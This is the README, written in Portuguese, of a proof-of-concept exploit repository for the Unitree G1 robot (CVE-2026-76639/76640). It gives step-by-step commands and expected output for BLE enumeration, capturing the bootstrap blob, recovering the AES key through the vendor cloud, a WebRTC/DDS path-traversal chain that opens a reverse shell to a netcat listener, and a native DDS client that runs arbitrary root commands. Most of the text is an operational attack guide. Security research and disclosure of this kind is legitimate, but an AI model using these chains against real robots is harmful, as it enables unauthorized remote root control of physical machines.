
Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) detalhes técnicos em boschko.ca/g1-ble-rce/
Detalhes técnicos do PoC e scripts de RCE do Unitree G1 (CVE-2026-76639 / CVE-2026-76640) em boschko.ca/g1-ble-rce/
Use este repositório apenas com robôs, contas e redes que você está autorizado a testar. As cadeias ativas podem alterar a configuração de WiFi do robô, parar ou reiniciar serviços, derrubar o btgatt-server e executar comandos como root.
| Caminho | Conteúdo |
|---|---|
ble-scanning | Descoberta BLE, enumeração de GATT sem emparelhamento, descoberta de número de série e captura de blob de bootstrap criptografado |
cloud-oracle | Reprodução do fluxo histórico de recuperação de chave /device/bindExtData |
chatgo-bashrunner-rce | Cadeia de path-traversal em DDS encapsulado em WebRTC e execução de comandos via bashrunner |
pure-dds-rce | A mesma cadeia de serviço DDS implementada diretamente com Cyclone DDS nativo |
ble-full-chain-rce | Cadeia ativa de BLE até root: bootstrap, recuperação de chave na nuvem, provisionamento de WiFi, divulgação de PIE e overflow de BSS |
scanning-tools | Utilitários de baixo nível para BLE, DDS, WebRTC e enumeração de serviços usados durante a pesquisa |
ble-bss-overflow.html | Passo a passo interativo do overflow de BSS de 1.050 bytes no btgatt-server |
Valores como 0xF1 e 0xF2 são opcodes do protocolo de rede BLE. Não são números de achados.
Os nomes são mantidos consistentes com os componentes distribuídos: btgatt-server é o processo BLE vulnerável, enquanto chat_go e bashrunner são nomes de serviços/módulos da Unitree. O executável nativo de prova de conceito neste repositório chama-se loco_rce.
Recomenda-se Python 3.11 ou mais recente.
Os exemplos de comando abaixo partem da raiz do repositório. Os exemplos de variáveis de shell solicitadas usam sintaxe Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
O acesso BLE depende da plataforma anfitriã. No macOS, os endereços impressos pelo Bleak são UUIDs do CoreBluetooth e não endereços MAC over-the-air.
Estes auxiliares requerem proximidade física BLE, mas não requerem conta Unitree, chave AES ou emparelhamento prévio.
Enumere os serviços GATT expostos do G1 e as permissões das características:
python3 ble-scanning/01_ble_gatt_enum.py
Recupere o número de série do robô:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py primeiro verifica os dados do fabricante BLE. Se o anúncio não contiver um número de série, ele se conecta e tenta a solicitação 0xF1 em texto claro. Adicione --passive-only para desativar esse fallback conectado.
Capture o blob de bootstrap 0xF2 criptografado com RSA e salve-o para a etapa de recuperação na nuvem:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
A saída típica é deliberadamente abreviada aqui:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
O blob é texto cifrado, não a chave AES em texto simples.
cloud-oracle/03_cloud_oracle.py reproduz o fluxo histórico de recuperação de chave do aplicativo:
GET /system/pubKey.POST /device/bindExtData.Os servidores atuais podem exigir a propriedade do robô. Use uma conta autorizada para o robô de destino.
Execute o helper e responda às suas solicitações:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
Ele solicita a conta, o número de série do robô e o caminho do bootstrap-blob. Use ble-scanning/bootstrap-blob.txt para o arquivo criado acima. --redact oculta o token de acesso e a chave AES recuperada na reprodução do curl impressa, tornando a saída mais segura para compartilhar.
Para uma execução privada que imprime a chave recuperada, omita --redact:
python3 cloud-oracle/03_cloud_oracle.py
Não cole tokens de acesso, credenciais de conta, chaves de robô, números de série ou blobs capturados em issues ou transcrições de terminal publicadas.
chat_go → bashrunnerEste PoC alcança os serviços DDS do robô através do seu canal de dados WebRTC. Ele requer a chave AES-128 do robô alvo e um host conectado à rede Ethernet interna do robô.
Configure a interface do host conforme apropriado para a rede de teste. O PoC usa por padrão o robô 192.168.123.161 e o endereço de callback 192.168.123.55.
No primeiro terminal, inicie um listener:
nc -lv 4444
No segundo terminal, forneça a chave AES hexadecimal de 32 caracteres sem confirmá-la no repositório e, em seguida, execute a cadeia:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
Saída esperada:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
A requisição DDS final pode expirar porque reiniciar ou executar o serviço alvo interrompe o caminho de resposta. Confirme o sucesso a partir do listener em vez de tratar esse timeout isoladamente como falha.
Limpe a variável de shell quando terminar:
unset UNITREE_AES_KEY
O cliente nativo ingressa diretamente no domínio DDS 0. Ele não usa WebRTC nem a chave AES do robô.
O executável pure-dds-rce/prebuilt_aarch64/loco_rce incluído e o runtime do Cyclone DDS são para Linux AArch64. O executável é vinculado a libddsc.so.11; o repositório inclui esse symlink e seu alvo libddsc.so.11.0.1.
Em um host Linux AArch64 conectado à rede Ethernet interna do robô:
O launcher limpa os endereços existentes de UNITREE_IFACE antes de atribuir UNITREE_LOCAL_CIDR. Use uma interface de laboratório dedicada e verifique novamente o nome da interface antes de executá-lo.
./pure-dds-rce/run_exploit_c.sh
Execute um comando diferente fornecendo um argumento entre aspas:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
O launcher usa por padrão a interface eth0, o endereço local 192.168.123.55/24 e o endereço do robô 192.168.123.161. Substitua-os quando necessário:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh